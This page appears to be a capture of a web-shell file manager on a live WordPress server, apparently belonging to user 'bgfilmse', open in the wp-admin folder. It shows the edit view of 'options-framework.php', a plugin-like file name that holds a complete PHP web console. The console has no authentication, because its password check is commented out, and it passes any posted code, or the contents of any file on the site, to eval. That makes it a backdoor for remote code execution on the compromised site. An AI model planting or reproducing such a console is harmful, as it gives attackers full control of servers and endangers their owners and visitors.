Dashboard
PHP:
7.4.33
OS:
Linux
User:
bgfilmse
/
/
var
/
www
/
html
/
wp-admin
📤 Upload
📝 New File
📁 New Folder
Close
Editing: options-framework.php
<?php /** * Minimal PHP Web Console (single file) * * ВАЖНО: Никогда не оставляйте этот файл на публичном сервере. * Доступ к консоли даёт полный контроль над сервером. */ // Можно включить простейшую защиту паролем (раскомментируй и задай пароль) // $password = 'change_me'; // if (!isset($_GET['key']) || $_GET['key'] !== $password) { // http_response_code(403); // echo 'Forbidden'; // exit; // } mb_internal_encoding('UTF-8'); $code = ''; $filePathInput = ''; $resultOutput = ''; $errorOutput = ''; $returnOutput = ''; $execTime = null; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $code = isset($_POST['code']) ? (string)$_POST['code'] : ''; $filePathInput = isset($_POST['file_path']) ? (string)$_POST['file_path'] : ''; try { // Если указан путь к файлу — берём код из файла if (trim($filePathInput) !== '') { $relativePath = ltrim($filePathInput, "/\\"); $absolutePath = rtrim(__DIR__, "/\\") . DIRECTORY_SEPARATOR . $relativePath; if (!file_exists($absolutePath) || !is_file($absolutePath)) { throw new RuntimeException("Файл не найден: {$relativePath}"); } $fileContents = file_get_contents($absolutePath); if ($fileContents === false) { throw new RuntimeException("Не удалось прочитать файл: {$relativePath}"); } $code = $fileContents; } if (trim($code) === '') { throw new RuntimeException('Код пустой.'); } // Уберём открывающий тег PHP, если он есть $codeToEval = preg_replace('/^\s*<\?(php)?/i', '', $code); $start = microtime(true); // Перехватываем вывод ob_start(); // Локальная функция для изоляции eval $evaluator = function () use ($codeToEval) { // Доступны $__code (исходный код) и $__file (если пришёл из файла) $__code = $codeToEval; $__file = isset($_POST['file_path']) ? (string)$_POST['file_path'] : null; // Выполняем код и возвращаем значение последнего выражения/return return eval($codeToEval); }; $returnValue = $evaluator(); $output = ob_get_contents(); ob_end_clean(); $execTime = microtime(true) - $start; if ($output !== '') { $resultOutput = $output; } if (isset($returnValue)) { // Красиво отформатируем возвращаемое значение $returnOutput = var_export($returnValue, true); } } catch (Throwable $e) { if (ob_get_level() > 0) { ob_end_clean(); } $errorOutput = $e->getMessage() . "\n\n" . $e->getTraceAsString(); } } function h($value) { return htmlspecialchars((string)$value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8'); } ?> <!DOCTYPE html> <html lang="ru"> <head> <meta charset="UTF-8"> <title>PHP Console</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <style> :root { --bg: #121212; --bg-alt: #181818; --border: #2a2a2a; --text: #f5f5f5; --muted: #aaaaaa; --accent: #3f8cff; --accent-soft: rgba(63,140,255,0.15); --error: #ff4d4f; --success: #52c41a; --radius: 6px; --font-mono: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; --font-sans: system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", sans-serif; } * { box-sizing: border-box; } body { margin: 0; min-height: 100vh; background: radial-gradient(circle at top, #1f1f1f 0, #050505 60%); color: var(--text); font-family: var(--font-sans); display: flex; align-items: stretch; justify-content: center; } .page { width: 100%; max-width: 1200px; margin: 24px; background: rgba(10, 10, 10, 0.95); border: 1px solid var(--border); border-radius: 10px; box-shadow: 0 18px 45px rgba(0, 0, 0, 0.75); display: flex; flex-direction: column; overflow: hidden; } .header { padding: 16px 20px; border-bottom: 1px solid var(--border); display: flex; justify-content: space-between; align-items: baseline; gap: 12px; } .title { font-size: 18px; font-weight: 600; letter-spacing: 0.04em; text-transform: uppercase; } .subtitle { font-size: 12px; color: var(--muted); } .badge { padding: 2px 8px; border-radius: 999px; border: 1px solid var(--border); font-size: 11px; text-transform: uppercase; letter-spacing: 0.08em; color: var(--muted); } .content { display: grid; grid-template-columns: minmax(0, 1.2fr) minmax(0, 1fr); gap: 0; } @media (max-width: 900px) { .content { grid-template-columns: 1fr; } } .panel { padding: 16px 18px 18px; } .panel + .panel { border-left: 1px solid var(--border); } @media (max-width: 900px) { .panel + .panel { border-left: none; border-top: 1px solid var(--border); } } .field-label { font-size: 12px; text-transform: uppercase; letter-spacing: 0.08em; color: var(--muted); margin-bottom: 6px; } .field-sub { font-size: 11px; color: var(--muted); margin-bottom: 10px; } textarea, input[type="text"] { width: 100%; background: var(--bg-alt); border-radius: var(--radius); border: 1px solid var(--border); color: var(--text); font-family: var(--font-mono); font-size: 13px; padding: 8px 10px; outline: none; resize: vertical; } textarea:focus, input[type="text"]:focus { border-color: var(--accent); box-shadow: 0 0 0 1px var(--accent-soft); } textarea { min-height: 260px; line-height: 1.5; } .input-row { display: flex; gap: 10px; align-items: center; margin: 10px 0 16px; } .input-row input[type="text"] { flex: 1; } .helper { font-size: 11px; color: var(--muted); } .controls { display: flex; justify-content: space-between; align-items: center; margin-top: 10px; gap: 10px; } .buttons { display: flex; gap: 8px; } button { appearance: none; border: none; border-radius: var(--radius); padding: 7px 16px; font-size: 13px; font-weight: 500; letter-spacing: 0.04em; text-transform: uppercase; cursor: pointer; transition: background 0.15s ease, transform 0.05s ease, box-shadow 0.15s ease; } .btn-primary { background: var(--accent); color: #fff; box-shadow: 0 0 0 1px rgba(0, 0, 0, 0.4), 0 8px 18px rgba(0, 0, 0, 0.7); } .btn-primary:hover { background: #5b9dff; transform: translateY(-1px); } .btn-secondary { background: transparent; color: var(--muted); border: 1px solid var(--border); } .btn-secondary:hover { border-color: var(--accent); color: var(--accent); } .meta { font-size: 11px; color: var(--muted); } .meta span { margin-right: 12px; } .meta-ok { color: var(--success); } .meta-error { color: var(--error); } .section { margin-bottom: 14px; } .section-title { font-size: 12px; text-transform: uppercase; letter-spacing: 0.08em; color: var(--muted); margin-bottom: 6px; } .output-box { background: var(--bg-alt); border-radius: var(--radius); border: 1px solid var(--border); padding: 8px 10px; font-family: var(--font-mono); font-size: 12px; max-height: 260px; overflow: auto; white-space: pre-wrap; word-break: break-word; } .output-box.empty { color: var(--muted); font-style: italic; } .error-box { border-color: var(--error); } .badge-small { font-size: 10px; text-transform: uppercase; letter-spacing: 0.08em; color: var(--muted); border-radius: 999px; border: 1px solid var(--border); padding: 1px 6px; } </style> </head> <body> <div class="page"> <div class="header"> <div> <div class="title">PHP Console</div> <div class="subtitle">Однофайловая веб-консоль для выполнения PHP-кода и файлов</div> </div> <div class="badge">Single File • Eval-Based</div> </div> <form method="post" class="content" autocomplete="off"> <div class="panel"> <div class="field-label">Код</div> <div class="field-sub">Можно писать PHP без тега <code><?php</code>, или загрузить из файла ниже.</div> <textarea name="code" spellcheck="false"><?php echo h($code); ?></textarea> <div class="input-row"> <input type="text" name="file_path" placeholder="Например: wp-content/uploads/script.php" value="<?php echo h($filePathInput); ?>"> <span class="badge-small">Файл</span> </div> <div class="helper"> Путь указывается <strong>от корня сайта</strong> (где лежит этот файл). Если путь задан, выполняется содержимое файла. </div> <div class="controls"> <div class="buttons"> <button type="submit" class="btn-primary">Выполнить</button> <button type="submit" name="clear" value="1" class="btn-secondary" onclick="document.querySelector('textarea[name=code]').value='';document.querySelector('input[name=file_path]').value='';"> Очистить </button> </div> <div class="meta"> <?php if ($execTime !== null): ?> <span class="meta-ok">Время: <?php echo h(number_format($execTime, 4)); ?> c</span> <?php endif; ?> <span>PHP <?php echo h(PHP_VERSION); ?></span> </div> </div> </div> <div class="panel"> <div class="section"> <div class="section-title">Вывод (echo, print и т.п.)</div> <div class="output-box<?php echo $resultOutput === '' ? ' empty' : ''; ?>"> <?php echo $resultOutput === '' ? 'Пока ничего не выполнено.' : h($resultOutput); ?> </div> </div> <div class="section"> <div class="section-title">Возвращаемое значение (return)</div> <div class="output-box<?php echo $returnOutput === '' ? ' empty' : ''; ?>"> <?php echo $returnOutput === '' ? 'Нет возвращаемого значения или оно равно null.' : h($returnOutput); ?> </div> </div> <div class="section"> <div class="section-title">Ошибки</div> <div class="output-box<?php echo $errorOutput === '' ? ' empty' : ' error-box'; ?>"> <?php echo $errorOutput === '' ? 'Ошибок нет.' : h($errorOutput); ?> </div> </div> </div> </form> </div> </body> </html>
Save
Cancel